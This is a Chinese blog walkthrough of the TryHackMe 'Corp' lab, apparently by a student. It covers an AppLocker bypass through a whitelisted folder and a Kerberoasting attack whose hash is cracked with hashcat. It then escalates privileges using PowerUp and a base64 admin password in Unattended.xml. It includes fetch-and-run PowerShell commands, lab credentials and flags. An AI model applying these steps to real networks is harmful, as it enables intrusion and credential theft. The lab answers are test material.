【THM】Corp-练习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/corp

本文相关内容:针对实验靶机练习Windows Applocker绕过技术并完成提权操作,本文将涉及kerberoasting技术、AV(Anti Virus)规避技术、applocker绕过技术以及权限提升技术。

image

简介

在本文对应的实验中,你将学到以下内容:

  • Windows Forensics(Windows取证)
  • kerberoasting 基础知识
  • AV Evading(Anti-Virus杀毒软件规避)-利用白名单-本文未具体讲解
  • Applocker(应用程序控制策略)-利用白名单

注意:目标机器不响应 ping (ICMP),在部署靶机时 可能需要几分钟才能成功启动。

成功部署好 windows 目标机器之后,我们可以使用以下凭证 在本地kali机上通过RDP访问靶机(在kali中使用remmina或者xfreerdp进行RDP登录)。

  • Username: corp\dark
  • Password: _QuejVudId6

目标机器ip地址:

image

绕过 Applocker

AppLocker(应用程序控制策略)是 Windows 7 所引入的应用程序白名单技术,它允许根据程序路径、程序发布者和程序哈希值来限制用户可以执行哪些程序。

image

目标机上存在AppLocker机制,在已部署的目标机器上:你无法执行自己的二进制文件,并且目标系统上的某些功能也受到了使用限制。

tip1:

有很多方法可以 绕过AppLocker,如果 AppLocker 配置了默认的 AppLocker 规则,我们可以通过将想要执行的exe文件放在以下目录中来绕过 AppLocker 限制:C:\Windows\System32\spool\drivers\color - 默认情况下这会是目标系统上的白名单中的路径。

绕过 AppLocker 的操作示例:我们先在目标机中使用Powershell命令 下载一个本地kali机上的可执行(exe)文件到目标机中,然后将该exe文件放置在目标机上的白名单目录下并尝试执行--最终我们发现能够成功执行该exe文件。

tip2:

类似于Linux bash,Windows powershell 会将所有历史命令保存到一个名为 ConsoleHost_history 的文件中,该文件具体路径如下所示:

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
#在本实验中 %userprofile% 为 c:\users\dark\

答题

在kali中使用remmina或者xfreerdp针对目标机器进行RDP远程登录。

#在本地kali机中操作

#使用xfreerdp进行远程登录:
xfreerdp /u:'corp\dark' /p:_QuejVudId6 /cert:ignore /v:10.10.186.214

#或者使用remmina
#输入以下命令:remmina
#在弹出的remmina GUI界面输入目标ip:10.10.186.214
#Username: corp\dark
#Password: _QuejVudId6

image

尝试绕过目标机的AppLocker机制--将本地kali上的一个exe文件传输到目标机上并尝试执行(将exe文件放置在白名单目录下即可绕过目标机的Applocker机制)。

先在本地机上使用Python开启一个简易HTTP 服务器以托管一个whoami.exe文件:

cp /usr/share/windows-resources/binaries/whoami.exe .
python -m http.server 80

image

然后在目标机上使用Powershell界面进行操作(传输到白名单目录路径下的whoami.exe文件 能够绕过应用程序锁在特定文件夹下执行):

#目标机上的白名单目录路径: C:\Windows\System32\spool\drivers\color

#传输文件的方法一
powershell -c "(new-object System.Net.WebClient).Downloadfile('http://10.13.16.58:80/whoami.exe', 'C:\Windows\System32\spool\drivers\color\whoami.exe')"

#传输文件的方法二
#Invoke-WebRequest -Uri http://10.13.16.58:80/whoami.exe -OutFile C:/Windows/System32/spool/drivers/color/whoami.exe

#执行exe文件
cd C:\Windows\System32\spool\drivers\color\
.\whoami.exe

image

继续使用Powershell界面,访问目标机上的ConsoleHost_history文件并查看 flag 的相关信息。

#保存了所有历史命令的文件: c:\users\dark\\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Get-Content -Path 'C:\Users\dark\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt'
#通过检查 PowerShell 历史记录找到flag内容

image

此处flag内容为:flag{a12a41b5f8111327690f836e9b302f0b} 。

image

Kerberoasting攻击

Kerberos 是 Windows 和 Active Directory 网络的身份认证系统;有许多针对 Kerberos认证 的攻击,在本实验中:我们将使用 Powershell 脚本为一个帐户请求服务票据并尝试获取票据的哈希值,然后我们可以破解这个哈希值并以此来访问相关的用户帐户(这个过程就是Kerberoasting攻击)。

Kerberoasting攻击原理如下

  1. 攻击者对一个域进行身份验证,然后从域控制器获得一个 TGT 认证票据,该 TGT 认证票据用于以后的 ST(Service Ticket) 服务票据请求。
  2. 攻击者使用他们的 TGT 认证票据 发出 ST 服务票据请求 (TGS-REQ) 获取特定标识的 SPN,此 SPN 在域中应该是唯一的,并且在用户或计算机帐户的服务主体名称(servicePrincipalName)字段中注册;在服务票据请求 (TGS-REQ) 过程中,攻击者可以指定它们支持的 Kerberos 加密类型 (比如如RC4_HMAC加密类型、AES256_CTS_HMAC_SHA1_96加密等等)。
  3. 如果攻击者的 TGT 是有效的,则 DC 将从 TGT 认证票据中提取信息并填充到 ST 服务票据中,然后,域控制器会查找哪个帐户在ServicedPrincipalName(服务主体名称)字段中注册了所请求的 SPN,ST 服务票据使用注册了所要求的 SPN 的帐户的 NTLM 哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST 服务票据将以服务票据回复 (TGS-REP) 的形式发送回攻击者。
  4. 攻击者从 TGS-REP 中提取加密的服务票据。由于服务票据是用链接到所请求的SPN的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,最后恢复帐户的明文密码并尝试进行登录操作。

Service Principal Name (SPN)服务主体名称(SPN)是赋予服务实例以将服务实例与域服务帐户相关联的标识符。

答题

首先枚举 Windows信息,使用Powershell界面 运行命令 setspn -T medin -Q */*以提取 SPN 所关联的帐户信息,SPN是指Service Principal Nam(服务主体名称)),SPN能够表示服务和账号的映射关系。

#setspn -T domain.com -Q */*
setspn -T corp.local -Q */*
setspn -T medin -Q */*

#CN=krbtgt,CN=Users,DC=corp,DC=local
#CN=fela,CN=Users,DC=corp,DC=Local

image

SPN所相关的用户名为:fela

image

接下来我们可以使用Invoke-Kerberoast来获取票据,我们需要先下载Invoke-Kerberoast所对应的Powershell 脚本到目标机上--输入以下命令即可:

tips:如果本地kali机已经下载了Invoke-Kerberoast.ps1脚本,我们可以使用find / -iname *kerberoast.ps1* 2>/dev/null检索该脚本位置并传输该ps1文件到目标机上。

相关GitHub项目地址:https://github.com/EmpireProject/Empire

#目标机上的白名单目录路径: C:\Windows\System32\spool\drivers\color

#先在本地机上下载所需的ps1脚本(下面的wget命令可能不需要,因为本地kali机中可能已经预装了Invoke-Kerberoast.ps1脚本):
wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

#使用命令托管脚本文件到本地机的HTTP服务器上:
python -m http.server 80

#最后在目标机上使用以下命令获取ps1脚本文件:
Invoke-WebRequest -Uri http://10.13.16.58:80/Invoke-Kerberoast.ps1 -OutFile C:\Windows\System32\spool\drivers\color\Invoke-Kerberoast.ps1

#切换到ps1脚本所在目录并查看脚本文件是否存在:
cd C:\Windows\System32\spool\drivers\color\
dir

#方法二(在目标机器中进行操作)
#powershell -c "(new-object System.Net.WebClient).Downloadfile('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1', 'C:\Windows\System32\spool\drivers\color\Invoke-Kerberoast.ps1')"

image

image

加载Invoke-Kerberoast脚本到内存中 并查看脚本执行所得的结果:

#注意:使用. .\可加载脚本到内存中执行,此处两个.符号之间有一个空格。
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | fl
#Invoke-Kerberoast可以提取票据传输时的原始字节,然后转换成John the Ripper或者 HashCat 能够直接爆破的字符串
#fl--format list 格式化输出,以行模式显示出属性及相应的值

#此处也可以将包含hash值的SPN ticket导入到一个txt文件中(Invoke-Kerberoast -OutputFormat hashcat > hash.txt),然后使用scp传输txt到本地kali上。
#首先要在kali上启动ssh(登录时默认不启动):$sudo systemctl start ssh
#然后在目标机的终端界面中使用scp命令 scp hash.txt hekeats@kali-tun0-ip:22

image

我们得到了一个SPN票据:其中包含了和用户fela相关的密码hash值

接下来我们在本地kali机中使用hashcat来破解上面图片中的hash值即可(需要先将上图中的hash值转储到本地kali机的hash1.txt文件中--txt文件名可自定义)。

tips:使用在线字符串去空格工具:http://www.cuduwang.com/pb2.asp

image

使用hashcat模式列表(按ctrl+f检索hash格式的开头部分以找到hashcat模式编号):https://hashcat.net/wiki/doku.php?id=example_hashes

image

hashcat -m 13100 -a 0 hash1.txt /usr/share/wordlists/rockyou.txt --force
#-a 0 表示我们将使用字典模式进行暴力破解(-a 指定破解模式)
#--force 忽略警告信息
#以$krb5tgs$23$开头的hash格式对应的hashcat模式编号为13100  hash类型为Kerberos 5,etype 23,TGS-REP 

image

破解hash值得到的密码为:rubenF124

image

结合之前得到的SPN ticket中的用户名fela,使用上图中经过破解得到的明文密码进行RDP远程登录 并查看用户桌面上的flag内容:

#在本地kali机中操作

#使用xfreerdp进行远程登录:
xfreerdp /u:'corp\fela' /p:rubenF124 /cert:ignore /v:10.10.186.214 /workarea

#或者使用remmina
#输入以下命令:remmina 
#在弹出的remmina GUI界面输入目标ip:10.10.186.214
#Username: corp\fela
#Password: 10.10.186.214

image

用户fela桌面上的flag内容为:flag{bde1642535aa396d2439d86fe54a36e4} 。

image

Privilege Escalation-权限提升

我们将使用 PowerShell 枚举脚本来检查 Windows 目标机器,然后我们就可以确定获得管理员访问权限的最佳方式 并进行提权操作。

答题

我们将使用 PowerUp.ps1 脚本针对实验靶机进行枚举。

在目标机上操作并加载PowerUp.ps1脚本到内存执行。

tips:如果本地kali机已经下载了PowerUp.ps1脚本,我们可以使用find / -iname *PowerUp.ps1* 2>/dev/null检索该脚本位置并传输该ps1文件到目标机上。

相关GitHub项目地址:https://github.com/PowerShellEmpire/PowerTools

#目标机上的白名单目录路径: C:\Windows\System32\spool\drivers\color

#先在本地机上下载所需的ps1脚本(下面的wget命令可能不需要,因为本地kali机中可能已经预装了PowerUp.ps1脚本):
wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

#再使用命令托管脚本文件到本地机的HTTP服务器上:
python -m http.server 80

#最后在目标机上使用以下命令获取ps1脚本文件:
Invoke-WebRequest -Uri http://10.13.16.58:80/PowerUp.ps1 -OutFile C:\Windows\System32\spool\drivers\color\PowerUp.ps1

#切换到ps1脚本所在目录:
cd C:\Windows\System32\spool\drivers\color
dir
. .\PowerUp.ps1
Invoke-Allchecks

#方法二
#远程下载并执行文件
#iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1')

#方法三
#powershell -c "(new-object System.Net.WebClient).Downloadfile('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1', 'C:\Windows\System32\spool\drivers\color\PowerUp.ps1')"
#切换到ps1脚本所在目录:
#. .\PowerUp.ps1
#Invoke-Allchecks

image

image

image

执行脚本之后,由结果可知该脚本已经确定了几种获得管理员访问权限的方法,第一个方法是绕过 UAC 提权,第二个方法是利用 UnattendedPath 提权。

tips:“无人值守安装(Unattended Setup)是原始设备制造商 (OEMs)、公司和其他用户在无人值守模式下安装 Windows NT 的方法。”

此处我们选择利用 UnattendPath 进行提权,根据上面图片中所显示的UnattendPath ,我们能够找到一个以 base64 格式存储用户密码的文件,我们查看该文件以获得一串用base64格式表示的密码密文。

type C:\Windows\Panther\Unattend\Unattended.xml

image

在本地kali机上对刚才得到的base64编码字符串进行解码:

 echo "dHFqSnBFWDlRdjh5YktJM3lIY2M9TCE1ZSghd1c7JFQ=" | base64 -d

image

经过base64解码之后的明文密码为:tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T

image

使用解码之后的明文密码 通过RDP登录管理员用户即可完成提权过程,成功提升权限到管理员之后--继续查看最后的flag内容即可完成本实验。

#在本地kali机中操作

#使用xfreerdp进行远程登录:
xfreerdp /u:'corp\Administrator' /p:'tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T' /cert:ignore /v:10.10.186.214

#或者使用remmina
#输入以下命令:remmina
#在弹出的remmina GUI界面输入目标ip:10.10.186.214
#Username: corp\Administrator
#Password: tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T

image

image

image

Administrator用户桌面上的flag内容为:THM{g00d_j0b_SYS4DM1n_M4s73R} 。

image

posted @ 2023-03-09 23:26  Hekeatsll  阅读(143)  评论(0编辑  收藏  举报